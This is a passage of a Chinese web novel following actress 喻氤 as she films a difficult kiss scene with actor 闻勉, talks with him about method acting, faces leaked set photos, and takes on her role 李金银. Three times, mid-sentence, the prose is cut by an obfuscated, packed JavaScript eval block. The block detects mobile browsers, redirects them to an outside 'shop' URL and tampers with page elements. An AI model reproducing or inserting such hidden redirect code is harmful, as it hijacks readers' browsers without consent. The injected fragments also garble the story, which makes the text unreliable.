喻氤不好意思地说晚饭吃咸了,闻勉露出了然的神情,笑了笑,说:“你跟我来。” 说完迈开长腿,几步穿过走廊,敲开了一间客房的门,喻氤落后他两步,听见他叫自己的助理切两颗橙子出来。 等待的过程,他向喻氤解释:“橙子能解渴,少吃一点不会水肿。” 喻氤感激一笑,借此机会近距离观察起他。 电视里看不出来,但他本人真的很高,墙上的壁灯都不过刚与他双目齐平,幽暗的光线从侧方勾勒着他的骨骼,浓密的睫毛在眼下盖出阴影,有种眼波流转的柔情,喻氤想到某个国外的影评人赞他统一了东西方的审美,他身上端雅、神秘,又带一点疏离的气质令西方人痴迷。 其实像这样自身特点强烈的人是不适合演戏的,但闻勉就是能做到只要站在镜头前,就变成另一个人。 在他身上,演戏是一种本能。 多么令人嫉妒的天赋。 一道声音从屋里传出,“橙子切好了,喻老师,拿好。” 喻氤回神,年轻的男助理端来了果盘,再看闻勉,他正神色宽和地看着她,被她打量这么久也不改其色,涵养十分好。 她无措了几秒,最终决定诚实地致歉:“抱歉,第一次这么近距离接触您,有些好奇。” 闻勉歪头,浅笑道:“好奇什么?” 喻氤想了想,“好奇‘天生演员’是什么样子。” 传闻他从未上过一节表演课,但几乎每个高校电影系的老师都会以他作为范本,来演示什么叫做“天生演员”。 闻勉嘴角上翘了几分,摇摇头,并不接这话,而是从助理手上接过果盘递给她,温和地说:“早点休息吧。” 喻氤知道这是一种礼貌的谢客,她和闻勉还没有那么熟悉,显然她也没有能让闻勉客套周旋的资本,喻氤顺势告辞:“谢谢您的橙子,明天片场见。” 闻勉点头,“明天见。” 她走的快,是以没发现转身后闻勉略带审视的眼神。 端着橙子回到房间,过了一会儿去领通告单的秋秋回来了,奇道:“咦?哪来的橙子?” 南方的夏橙,咬一口清甜满溢,久旱逢甘的爽快,喻氤递给她一片,“闻勉老师给的,你尝尝。” 秋秋将她的手推了回去,“一会儿再吃吧,你先看看通告单,看完你就没有闲心享用了。” 因为明天的第一场戏,就是她和闻勉的吻戏。 11. P-3 吻戏 通告单上定的这场戏,女主角李金银刚刚结束高考,来到省城寻找正在读大一的男主角娄泽,既是一场吻戏,也是两人心意互通的情节。 取景地在大学城附近的居民楼,白砖黑缝的老楼房,水磨石地面铺满楼道,门边放着铁架子做的鞋柜,另一侧的窗户起得老高,太阳稍稍下山整个楼道就昏暗不已。 这就是戏中90时代,李金银和娄泽初次亲吻的地方。 喻氤咬碎嘴里的口腔清新糖,快步走进拍摄楼道。 楼道窗户外架起了三层楼高的灯架,橘色的光线打在窗上,仿造出日落时的氛围。 闻勉已经到了,穿着一件洗得褪色的牛仔裤,T恤衣摆空荡荡地垂在腿边,发丝被抓出硬朗的质感,这是娄泽惯常的装束。 而李金银这一场则是白裙白鞋,露出纤细的小腿和肩膀,头发柔顺披在背后。 “嚯,这乍一看还以为拍纯爱糖水片了。”主摄坐在架好的机子后玩笑。 孟竖没理他,对喻氤抬抬下巴:“知道这一场怎么演吗?” 他颅顶架着一只墨镜,喻氤盯着他太阳穴上被勒出的压痕,道:“李金银在校门口看到娄泽和女同学说话,出于占有欲,回家后强吻了他。” 孟竖点头,没说太多:“记住,李金银不是普通的乖乖女,她将娄泽看成这个世界上唯一属于她的东西,所以你的愤怒要大于爱慕,处理好这个情绪。” 得到喻氤肯定的答案后,他转向闻勉,后者挑起眼回望,好像在问他有什么指教,孟竖摆了摆手回到监视器后面,“准备好了就拍。” 现场副导吆喝:“各组就位!” 无关的工作人员退出楼道,收音师抱着收音杆贴在墙角,四下通通噤了声。 喻氤深呼吸,待到打板开拍,迈开步伐跟着闻勉走进画幅。 闻勉在门前翻找钥匙,昏黄光影透过单薄的夏衫照出他劲痩坚韧的脊背,随着低头动作,后颈微微凸起一节颈骨被镀上一层金色。 喻氤恍惚真的看到了20岁的娄泽。 “刚刚和你一起出校门的女孩,”她用听起来平稳的气息念出台词,“没听你提起过。” 闻勉不在意的随口答道:“不认识。” 喻氤接着问:“不是你同学?她拿着跟你一样的书。” 闻勉抬起头想了想:“是吗?” 喻氤看他两眼,强硬地抢过了他手里钥匙。 闻勉一把拉住了她,“小花,你在生气吗?” 他的手很热,掌心干燥,稍稍用力喻氤就感到手腕开始发胀,她冷着脸呛声:“说了不要叫我小花。” 闻勉却笑了,眉眼阳光舒展。 “叫了那么多年了,怎么改得过来?”顿了顿,他求饶,“好了,李金银,你在气什么?” 喻氤按照剧本要求,强硬地拽下他的衣领,“你说呢?” 距离瞬间拉近,近得喻氤可以看清闻勉的睫毛,而闻勉看着她好像怔了怔,然后迅速偏过头,耳朵和脖子肉眼可见地涨红起来。 “小花,你……” “你先放开我……” 这里就该亲上去了,喻氤手心冒出了汗,糟糕地发现自己根本入不了戏,她的心跳声,闻勉的呼吸声,还有几步外机器运转的轻微响动,一切的存在感都被放大。 咬咬牙,她踮起脚照着闻勉迎头贴了上去。 他的唇很薄,触感柔软,被她袭击的瞬间以手抵住了她的肩,这是剧本里娄泽慌乱的自然反应,同时也意味着她能更进一步。 半分钟后。 ——“停。” 喻氤喘着气退开,廓形的衬衫裙贴上后背,很快浸出一小片水迹。 孟竖看了一遍回放,面无表情,喻氤等着他说点什么,譬如哪里有问题,要怎么改,然而他只闷声说:“再来一遍。” 于是喻氤和闻勉重新走了一遍,没过。 第三遍,还是没过。 第四遍。 ——“停。” 喻氤低头拉开距离,此时再傻也明白过来是她的吻戏过不了。 闻勉靠在墙边没说话,手背抬了抬,遮掩被咬得红肿的唇。 喻氤移开眼,一时间窘迫万千。 孟竖从监视器后面走了出来,看不出喜怒,问她:“你拍过吻戏吗?” 喻氤愣愣点头。 “我是说真正的吻戏。”孟竖重复。 喻氤微变了脸色,她为数不多的吻戏经验都来自糖水剧,轻轻碰一下就算过,孟竖说的那种唇齿相交的吻戏,她压根就没演过。 孟竖说:“李金银和娄泽都是头一次接吻,所以你一开始单纯的发泄情绪没有问题,后来的青涩和不得章法也没有问题,但是这不只是一个吻,更意味着他们关系的转变。” 喻氤听懂了,落下眉眼:“我知道了导演,请给我五分钟。” 孟竖看一眼正在被梳化师遮盖唇色的闻勉,坐回了监视器前。 现场几十来号人嘈嘈杂杂,喻氤知道其实没人有空在意她,但开机第一场戏就连吃NG,又是吻戏,她的压力已经到达了顶峰。 她走到无人的墙角深呼吸,告诉自己冷静一点,越紧张只会越出错。 五分钟很快结束,确认她准备好后,一直在不远处安静等待的闻勉回到接戏的位置,唇上的牙印被盖了个七七八八,不仔细看已经分辨不出。 现场又一次各就各位。 正式开拍前,闻勉目视前方,嘴唇微微动了动:“就按照你的设想演,不必顾忌我。” 不等喻氤回应,耳边响起打板声,她只能再次拽下闻勉衣领,在他念完台词后亲了上去。 近而模糊的视野里,有一片灰影在晃动,那是闻勉扇动的睫毛,想到他的叮嘱,喻氤咬咬牙,突然抽身退开。 孟竖凝眉盯着监视器,没喊卡。 下一秒,闻勉揽住喻氤的腰阻拦住她的动作,将她困在怀里,眼神复杂而灼热,从她的唇划到她的眼,感受到他目光的温度,喻氤也被带着,身体某处如暗火复燃的燥热起来。 四目交错,情愫在弥漫。 喻氤垂着眼,感到闻勉的呼吸靠近自己,直到一瓣带着莲叶苦意的温热熨了上来,她乖乖张开嘴。 那是属于情人间的吻,年轻,热切,闻勉的力道很重,绞得人生疼,却又会在弄疼她后安抚地舔舐她。 喻氤脑中开始昏沉,即使是她自己,也没有这样强势而缠绵的亲吻经历,身体本能地产生了退意,手在挣扎间打到铁门孔上的钥匙,清脆的金属撞击声在安静的楼道里暧昧非常。 接着,她感到自己的手被闻勉拉下来,修长有力的指节滑进她的指缝里,十指相扣,轻轻地摩挲她的指背,带来一片酥麻。 这是原本的设计中没有的。 感官完全被带着走,像一具过载的机器,炙烤般的烫从五脏六腑穿透到皮肤表层,小腿渐渐支不住力打起抖来。 突然,压在身上的力道被收回,闻勉稍稍错开身,光线和氧气一起回到了她的世界。 喻氤一扫四周,快速垂下眼——她没有听到什么时候喊的卡。 燥热感蒸透了每个毛孔,喻氤很想赶快离开,可她不能,后面还要接戏,孟竖没说这一镜过,她和闻勉都不能动,只能维持着这个亲密的距离。 喻氤不动声色地靠在背板上恢复力气,好一会儿才整理好自己的呼吸。 再去看闻勉,喻氤愣住。 短暂的功夫,对方耳根的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15042179|162582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红意都未褪尽,眼里却已经是静水一片,几秒钟前的震动、欣喜、挣扎与热切荡然无存。 ——他早就出戏了。 这个认知如同一盆迎头浇下的冷水,连带着她背后的汗都开始变得凉飕飕的。 眼前的这个人,能够自如地控制自己的心跳、呼吸,甚至是生理反应,入戏出戏只需要须臾。 反观自己,喻氤必须承认,这场戏她是靠闻勉带入戏的。 入行以来,第一次感受到如此直观的差距,直观得令人难堪。 过去,喻氤自诩在演戏上有些天赋,觉得自己只是时运不佳,而这一刻她发现或许根本不是这样,或许一切都只是她给自己找的借口,怪运气不好的话,就可以不必承认自己其实资质平庸。 她后知后觉开始怀疑,她真的能演好李金银这个角色吗?只要想想,血液就开始凝固。 这时,孟竖在和副手讨论过后终于宣布这一条过了。 之后接着吻戏拍了室内的部分,下午在省城几个还算小众的景点取了景,拍摄娄泽带着李金银在省城游玩的情节。 这一段情节在片中无足轻重,但孟竖依然没有降低要求,一天下来喻氤吃的NG数不胜数。 由于只有两场夜戏,十点多就收了工,放在剧组算是收得早的,一群人嚷着要去吃夜宵,开机第一天孟竖对手下人也没那么严格,只叮嘱他们不能耽误明早上工。 闻勉见他在忙,便跟陈生、编剧几个打了声招呼先回酒店了。 房车从片场附近开过来,闻勉上车时正赶上喻氤和孟竖团队的工作人员挥别,年轻女演员一路小鞠躬不停说着辛苦了之类的,他看了两眼便拉上窗,对助理小余道:“我没什么事了,送我到酒店你就下班吧。” 知道他私人时间不喜欢被打扰,小余爽朗应道:“好嘞闻哥,有事再叫我!” 结果回到酒店澡都没洗,就又被孟竖叫去讨论新的想法。孟竖这人兴头上来可不管你是谁,到最后他不得不露出疲惫之色,陈生才打断孟竖,让他先回去休息。 走廊昏暗,闻勉松了两颗扣子,一看时间竟然陪孟竖聊了两个多小时,饶是他也生出些怨言,正想着怎么还孟竖一笔,走廊里忽然响起了一阵规律的“咔”“咔”声,像是打火机的拨盖。 他在安全通道口停下脚步,隔着未关紧的门缝向声音来处望去,只见一小簇火光在黑暗中倏地升起,又骤然熄灭…… 规律的明灭间,他看清了坐在楼梯上的人。 关于喻氤他所知不多,说直白点,就是毫无印象。 所以孟竖执意要一个名不见经传的“新人”来演李金银时,他久违的产生了好奇。 孟竖当时给他传了一张照片,照片里天快黑了,看背景像是影视基地附近的厂房,他以为孟竖随手一拍,还问他怎么跑棚里去了。 孟竖甩过来一句:“看人。” 他放大照片,终于在一辆车的边角后找到了孟竖说的人。 那是个打扮得不伦不类的女人,老式白裙下套着条运动裤,长发披散,毫无形象地蹲坐在马路边吞云吐雾——就像现在这般——环着腿,两指夹烟,面无表情地望着虚空,眼里好像有什么东西,又好像什么都没有。 闻勉的目光从被机械拨弄的银色火机盖移到她素净的侧脸上。 是漂亮的皮相,也许放在娱乐圈不算出众,但她有一双适合讲故事的眼睛,三分真三分假,剩下几分摇摇欲坠,是为银幕而生的眼睛。 那张放大后的照片闻勉只看了一眼,只需一眼,答案不言而喻。 这样杂草一样荒芜、不可规训、带着玉石俱焚味道的脆弱。 同李金银太像了。 鬼使神差地,他在这一刻推开了门。 12. P-4 体验 楼梯间的门骤然被推开,灯光出现的那一瞬喻氤本能地埋下头,随即想到这酒店被剧组包了场,外人上不来。 下一秒,门被再次轻轻阖上。 楼道里恢复昏暗,她眨眨眼,视线里出现一管笔直的裤管。 闻勉还穿着收工时的白色衬衫,肩线挺阔,若不是松开的衣领和袖口,还以为刚从节目上下来。 他没有看喻氤,而是歪头打量起安全通道里唯一的一扇窗。 窗外正对酒店停车场,几展路灯将楼下的一片区域照得昏黄,更远处的高架桥上车辆川流不息,和一栋栋亮着白炽灯的写字高楼融汇成冰冷的夜色,仿佛是另一个世界。 “你猜多少倍的镜头能从对面拍到这里?”闻勉开口。 喻氤看看最近的一栋高楼,与这里隔着两个停车场的距离,不至于吧…… “我们下午拍外景的场地人流量不少,“说到这里,闻勉像是想到什么,眼睛眯了起来,不过转瞬,他又恢复温和:“消息快些的媒体,现在应当在往这里赶来。” 喻氤无言。 诚然,从她试戏成功签下合约的那一刻起,她就要面临“孟竖”和“闻勉”这两个名字所带来的光环,她接受了机会,同样也要接受拷问。 谁能保证沿海的省份就没有娱乐版块的记者呢?更何况这是个全民皆媒体的时代。 她默默地灭掉烟,同时有点摸不清闻勉,这是单纯提醒她,还是在告诫她少生事端? 楼道空气不对流,苦中带甜的烟草味久久散不去。 喻氤瞧一眼闻勉,想说点什么补救一下。 闻勉却突然转过身来淡淡道:“虽然不清楚你之前在其他剧组是怎么拍戏的,但孟竖不是一个只知道照搬脚本的导演,就算达到了他的理想预期,他还是会不断的让你‘保一条’,直到逼出你所有的可能性,所以不必感到挫败,这就是创作的过程。” 喻氤一愣,脸色并未好转。 “孟导说的对,我太浮躁了。” 在一部又一部流水拍摄的糖水片中,她已经丧失了对创作的思考,变成一颗只会听话做事的螺丝扣,一旦导演不告诉她要怎么演,她就会失去主心骨,茫然失措。 即使再不愿承认,她也已经被烂剧烂片同化了。 闻勉转开眼,不去看懊丧模样,聊天似的问:“你觉得李金银是个什么样的人?” 喻氤斟酌道:“一个自私的可怜人,一个疯子。” 闻勉又问:“娄泽对她意味着什么?” “这世上最后一条拉住她的绳子。” “李金银爱娄泽吗?” 喻氤答不上来,她在闻勉沉静的目光中感到一种无所遁形的挫败,肩微微塌下来,“说实话,我不知道。我觉得我好像做了很多功课,看上去理解了这个人物,可本质上我的生活离她太远,很难找到一个表演上的支点,所有的技巧在她身上都很……假。” “我知道,我是在表演情绪。” 闻勉看着她没说话,黑眸在夜色里闪动着冷质的微光,和平日不太一样,喻氤被他看得心里毛毛的。终于,闻勉再一次开口:“你有没有考虑过抛开技巧演这个人物。” 喻氤一愣,“你是说体验法?” 体验法,让演员放下本我,用角色的思维思考问题,用角色的方式对待世界,将自己完全变成戏里的角色,并且将这种状态延续到现实生活中,直到一部戏完成。 她沉声:“可是体验法入戏容易出戏难,圈里不是没有先例,拍完之后三四年接不了下一部戏,就此沉寂。” 闻勉看着她笑了笑,像在说选择权在她。 喻氤抿紧下唇。在她尚不记得事的时候,喻母就发现她常常和电视里的人展现出同样的情绪,电视里的人笑她跟着笑,电视里的人哭她也哭。 后来进了电影学院,人人都说她有悟性有灵气,可一上技巧课就表现得差强人意,她还记得系主任对她意味深长的评价——“这孩子不适合现在的演艺圈。” 当时以为说的是她的心性,入行两年后,面对一个个悬浮的剧本、矛盾的人物,喻氤才明白系主任的意思。 所谓的体验派,实际上是在损耗演员的情感。 人的情绪和精力是有限的,关于角色的体验不会随着一部戏的结束而消失,它们会像影子一样在演员的生命里留下私密的印迹,直到随时间的流逝逐渐淡化。 而这种体验未必是正向的,尤其是当角色是李金银这样的边缘人物时,入戏和出戏都是一种考验。 可是喻氤有眼睛,能看出孟竖今天的不满意。拍摄日程紧锣密鼓,若是一直拿这幅状态应对,不消几日她就会被打出剧组。 曾几何时老师们眼中的尖子生,也成了水桶里最短那块木板,拖人后腿。 “抽太多烟对嗓子不好,早点回去休息吧。”似乎是察觉到她紧绷的情绪,闻勉点到即止,准备离开, 喻氤忍不住多嘴,“这就是你入戏的方法?” 闻勉身影一顿,握着门把手没动,两秒过去,楼道里安静的过分,喻氤敏锐的察觉到,她可能说错话了。 就在这时,“嗑”的一声,硬实铁门被推开。酒店走廊的暖光顺着门缝洒了进来,周遭气压一松,闻勉轻笑着侧目,“你可能误会了。” “我演戏,但不入戏。” 喻氤微怔,心中浮上一丝疑问,但闻勉却不欲再谈,迈步离开了。 直到他走后许久,喻氤还坐在楼道里愣神,刚才那是闻勉吗?为什么和白日里不太一样?看着有点让人生怵呢? - 不知道是不是物极必反,闻勉的建议在心头压了一夜,第二天喻氤反倒轻松了不少,虽然还是频频吃NG,但至少不会给自己压力了。 认清自己的能力,卸掉自我期待,踏踏实实的跟着孟竖“磨”,她也想试着享受创作的过程,毕竟能进孟竖的剧组这样的事,放在以前她根本是想都不敢想。 她的转变孟竖看在眼里,照旧是不告诉她具体怎么演,但中午收工前拍了拍她的肩,有些鼓励的意思。 到这里,省城的戏就全部拍完了,大家伙儿回酒店吃了盒饭,两个小时的时间各自修整,两个小时后所有人楼下集合一起开车去县城,之后他们将在那个沿海的小县城,度过为期半年的拍摄时光。 喻氤吃过午饭在房里走了几圈消食,刚想躺下眯一会儿,孟竖的副导急匆匆地敲开她的门,说孟导有事找。 到了楼下一层,孟竖和副导的房间门开着,制片和副导还有几个组的指导老师都在孟竖房里,闻勉也在。 “孟导,各位老师。”喻氤和众人打了招呼。 “喻氤来了,”孟竖指了指沙发,“坐。” 喻氤意识到气氛不太对,边坐下边说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15042180|162582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “发生什么事了?” 孟竖今天没戴墨镜,虽然还是皱着眉,神情却不算太糟,谁知喻氤刚放下心来就听他说昨天的路透传到网上去了。 “这是统筹排戏的疏忽,路透我们会处理,叫你来主要是跟你说一声,让你心里有个数。” 眀惠园是几个外景景点里最大的取景地,人流量大,剧组虽然提前跟市里打过申请,清空了一片场地,但公共场所不好控制现场,有的人在外围拍了照片,剧组也没办法一个个去请求删除,这些在闻勉昨夜提醒她的时候她就有心理预期了。 说白了涉及的是剧组保密的事情,跟他们演员没什么利益牵扯,只不过因为她这个女一号没什么说服力,路透爆出来必定会在网上引发争议,想来这就是孟竖把她叫来的原因。 负责排通告的统筹也是孟竖的老班底,年纪可以做喻氤父亲的中年男人站着给喻氤鞠躬:“喻老师,是我们的纰漏,给您造成困扰实在是对不起!” 喻氤脸色微白,但还是好脾气地朝对方摆了摆手说“没事的。”,随后又看向孟竖:“您需要我做什么吗?” 孟竖打量了她两眼,见她还算镇定,语气也和缓了几分:“我会叫人尽快公布立项,出一张标明主创的概念海报,也跟你经纪人通过气了,之后用你的微博转发一下,别的不必多说。到了县城的拍摄地我们会多雇一些人做好保密工作,这段时间你就不要看网上的评论了,只管专心拍戏就行。” 喻氤有什么理由说不呢?只能点头说好。 孟竖又问:“闻勉呢?” 闻勉坐在最边上,从头到尾都未发一言,听罢斯文地颔首:“我没有意见。” “行,那就散了吧,装车该装车装车,半小时后出发。”孟竖不再理众人,回到铺满纸张的工作桌前。 众人见此也都陆陆续续离开,闻勉是最后一个走的,经过孟竖时,埋头工作的人不经意地开口:“你没有什么想问的?” 闻勉脚步未停,平淡地擦肩而过,“我的意见重要吗?” 孟竖深深看了他两眼,最终没有挽留。 喻氤回到房间,助理秋秋已经从周湘那里得到了处理结果,边整理箱子边大声抱怨:“这么大的剧组怎么会这么不专业?连我都知道前期要做好保密工作,他们头几场戏就定在景区!什么都还没拍呢网上传得到处都是,不会是故意搞噱头吧?” “小声点。”喻氤换了身舒适的衣服,“你觉得孟竖需要这样的噱头吗?整部戏只有这几场设定在省会,又正好在夏天,不现在拍什么时候拍?” 秋秋不服气,摔了手里一叠衣服:“那可以先在县城拍摄,夏天快过去的时候再来拍嘛,我不信孟竖的剧组会缺这点路费。” 喻氤停下动作,脸上没有表情时显得极冷清,秋秋知道她不悦了,顿时蔫了火气,不敢再抱怨。 “什么时候拍有区别吗?”喻氤语气淡淡。 她和闻勉的位置天差地别,只要她一日没有代表作,就终要面对大众的质疑,什么时候被爆出来根本没有差别。 如果说之前她还会害怕和退缩,那么这一刻她迫切地想要赢,想要被看见,被承认,想要站到更大的舞台上,不再做一个桃色新闻里的符号。 她要拥有像闻勉那样,谁也不敢消费的实力。 秋秋不知道她在想什么,只觉得她突然气场都变了,变得有点唬人。 13. P-5 金银 从省会城市开车到县城要两个半小时,陈生在待遇方面很大方,给她租了一辆小型房车,这意味着拍摄时她不用在片场冬冷夏热的候戏棚休息了。 上车之后秋秋兴奋的晃了一圈,看哪儿都新奇,反正车上也没有外人,喻氤便放任她撒欢。 小姑娘大学读了一年就退学出来打工了,问她为什么只说成绩不好读了也是浪费钱,跟着混得不怎么样的自己在北京漂了快四年也没见有什么怨言,喻氤如今没什么朋友,身边最亲近的人除了父母便是秋秋和周湘了。 秋秋人也很机灵,看到她拿出眼罩就不再发出大动静,老老实实坐下来记备忘录,准备把房车物尽其用。 记到一半,突然想起来什么,“对了,昨天有人给你发了微信,我看到的时候太晚了,忘记跟你说了。” 为了静下心来拍戏,正式进组的当天晚上喻氤就把手机交给了秋秋,反正也没什么人会找她,如果有突发情况秋秋会告诉她的。 因此喻氤眼罩都懒得取,象征性地问了一句:“我爸妈?” “不是呀,叔叔阿姨都有备注的我怎么可能认不出来?” “所以备注是什么?” “呃,我看看……”窸窸窣窣的动静是秋秋在包里翻她的手机,“哦,是个太阳的表情。” 喻氤没反应,秋秋以为她没听见,又重复了一遍。 喻氤掀开眼罩从房车自带的小床上坐起来,秋秋立刻递上手机,聊天框上显示着两个气泡,再往上就是17年的聊天记录了。 ——【老幺,好久没联系了,听说你在拍孟竖的戏,恭喜你咯!】 ——【还记得咱们的十年之约吧?不出意外的话,哥哥我就是第一个履行当年诺言的人。】 ——【开个玩笑,喻氤,我们再合作一次吧。】 “谁啊这是?”秋秋凑过来。 喻氤想了想,说:“你找导演组的人问一问,《铁锈》的配乐请的是哪位老师。” 秋秋不解其意,但还是找孟竖的导助问了一下,得到的答复是——“还没正式定,原计划是继续和孟导的老搭档凉山老师合作,但老师最近身体不好,就给孟导推荐了其他人。” “……大概率会选秦昼吧,他拿到剧本之后和孟导聊了几次,提出想用一些破格的乐器元素,挺大胆的,我看孟导好像听进去了。” 免提的语音条播放完毕自动消声,喻氤的反应一点也不惊讶,秋秋电光火石间明白过来,“发消息的那个不会是秦昼吧?” 喻氤点了点头。 “他还挺……自来熟的哈!一点也不像五六年没跟你联系过的样子。”秋秋尬笑两声,委婉地评价。 她被招来做喻氤助理的时候,已经距离大规模网暴事件过去近一年,具体发生过什么周湘没和她细说,后来时间久了,她才靠着和喻氤的相处慢慢拼凑出了真相。 喻氤看着秦昼发来的消息陷入思索。 她和秦昼是16年认识的,那时他刚从选秀节目里断层出道,他的公司耀皇娱乐为捧他专门拍了部偶像剧,就是后来的现象级校园偶像剧《夏歌》。 那部剧的热度延续到了戏外,令本色出演的秦昼一跃成为顶流,也使剧中其他新人演员们受到了空前的关注。 大家都是新人,年龄相仿性情相近,因为一部戏走到一起,又幸运的火了,各自签了大公司,所有人都觉得《夏歌》的这群年轻人会前程似锦,就连他们自己也这么认为,约定好友谊不散,十年之内一定要再聚到一起合作。 喻氤年纪最小,刚刚大一,是团队里的老幺,秦昼只比她大一岁,排在倒数第二,他本身就是个孩子王,很快成为他们这群新人的中心。 他会在片场休息时偷偷给大家写歌,会在小年夜把大家从被窝里挖起来跑到影视城的郊外放烟花,也会一时兴起怂恿他们半夜溜出去撸串,害得第二天上戏每个人都肿得像猪头被导演骂。 喻氤的高中时期总是忙碌地奔波于艺考补习班和学校,《夏歌》这部剧弥补了她青春期的遗憾,在戏里戏外留下了很多快乐的回忆。 但现在想想,如果那一年她没有被选角导演看中,没有拍《夏歌》,没有认识那些人,或许也会在另一个时间点经历青春的另一种形态,未必会比这段经历失色多少。 所以美的其实不是人,也不是事,美的只是18岁而已。 如今距离《夏歌》播出已经过去五六年,说着要一直做好朋友的人也早就走散,有的在圈中查无此人,有的早就转行,也有像她这样还吊着一口气坚持的。只有秦昼真的越走越远,哪怕在事业最高峰高调公开恋情也从未走过下坡路。 六年的时间他从流量歌手发展成歌坛地位稳固的唱作人,前两年还开始转向电影配乐,由他作曲配乐的小众文艺片还提名了韩国堤川国际音乐电影节评委会大奖。 他的经历在国内的的艺人中算得上是另一种传奇,还是轰轰烈烈,惹人嫉恨的那种。 喻氤握着手机在床边坐下来,打下回复:【谢谢,也祝你成功拿到和孟导合作的机会。】 消息刚发出没多久,对方就回了过来,一如既往的狂妄:【那还用说?等我做完demo第一个发给你听。】 秋秋拉上最后一个行李箱,回头见喻氤抱着手机好半响没动,既不像在发呆,也不回消息,忍不住瞄了一眼屏幕,慢吞吞地问:“喻氤姐,你为什么不生气呀?” 喻氤抬头,神情平静:“为什么要生气?” 秋秋小脸扭得皱巴巴,纠结道:“你把他们当朋友,但是你出事的时候他们没有一个人站出来帮你说话,就连这个秦昼也是装聋作哑,现在又一副什么都没发生过的样子蹦出来,换做是我,我就会觉得很恶心。” 喻氤拍拍她的肩膀,拉上眼罩躺了回去,“不要为不值得的人生气。” 秋秋等了几分钟,见她是真不把秦昼的出现当回事,试探性问:“那手机还是我帮你保管?” 喻氤随手一指,“放这吧。” 又说:“帮我把他的备注改了。” “改成什么?” 喻氤想了想,“就名字吧。” 最终没有再回复秦昼。 南方的夏天昼长夜短,近七点太阳才逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15042181|162582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐落下地平线,车队在高速服务站修整了十分钟后就全速前进,赶在天黑前到达了县城。 整个县城仿佛停留在世纪之交,放眼望去不见几栋高楼,更多的是密密麻麻无人居住的握手楼,主干道上的水泥路也深一块浅一块,街边时不时出现一些名叫“民华烟酒”“盲人按摩”的小店,经过一辆裹满尘土的电瓶车时,车上的中年男人转过一张布满汗渍的脸好奇的打量这些外来汽车。 喻氤很想问孟竖是怎么找到这样一个地方的。据说这里是一个小渔村发展起来的城市,靠港口繁荣过一阵,但发展不了其他产业,自然也就留不住年轻人,被时代抛在了后头。 县城里最好的酒店只有三星,设施比较老旧,但总体来说该有的设施都有,房子也还算宽敞,负责对接她的后勤人员叮嘱有什么需求就提,他们会统一采买回来,这倒是方便了秋秋。 把人送走,喻氤洗了个澡,湿着一头黑发,用手抹开浴室镜子上的水雾。 镜子里的女人放松了脸部的肌肉,嘴角自然下垂,黑眸上翻露出一线下三白,看起来阴郁又冷漠。她一动不动地注视了一会儿,随后轻提眉眼,对着镜子恬静一笑,整张面相都发生了诡谲的变化。 从现在起,她将成为李金银。 - 90年代,经济高速发展,无数人乘着改革的春风飞黄腾达,各种小道消息不胫而走,撩动无数想掘金的人千里奔赴来到沿海一带,其中包括了李金银的妈,当时金贵的大学生王彩娴。 王彩娴被李志强骗到宜海时,他的手下已经有了十几个“一级讲师”,与他们不同,王彩娴和李志强还有点情分,所以几次三番逃跑,李志强都没舍得对她动粗,还让她去给“讲师们”的大通铺煮饭。 第二年王彩娴怀了孕,夫妻俩扯了证,过了几年小意温存的日子,直到李金银七岁那年,王彩娴最后一次逃跑,被李志强刚搭上关系的辅警开车送了回来,打断了腿,再不用出门了。 那时候法律上对李志强这样的团伙还没个定义,周遭的邻居都道他是个能开上小汽车戴金项链的“生意人”,有这样一个爸,尽管李金银没什么朋友,却没有哪个小子敢惹她。 娄泽一家搬到巷口的时候李金银挺好奇,他有个仙女一样的妈妈和一个奇丑无比的爸爸,第一次从他家的水果摊路过时李金银被那个男人的脸吓了一跳,结果对方木讷地递过来一个苹果,说给她吃。 一个学期后李金银才知道,娄泽跟那个男人没有半毛钱血缘关系,知晓这件事的时候她有种奇妙的感觉,好像窥见云彩其实也沾着泥——原来那个高高瘦瘦的男孩,也没有看起来那么像童话故事里的小王子。 直到李金银亲眼看见娄泽的妈妈将李志强从按摩店带走,一路带进娄家,这种感觉变得更加强烈清晰。一楼的窗子里传来属于男人和女人的调笑,娄泽那个丑木头一样的爹就坐在窗子下面的水果摊,看见李金银,又沉默地递来一个苹果。 那天晚上再回家,李志强脖子上挂的金项链不见了。 也就是那个夜晚,在蚊虫飞舞的后港锈船旁,李金银认识了娄泽。 14. P-6 道谢 1999年,暑假。 李金银做完最后一道大题,将物理试卷夹进作业袋,轻手轻脚地推开小房间的门,客厅墙上的时钟显示九点四十,时间正好。 她蹲身换鞋,冷不丁背后传来一句:“这么晚去哪?” 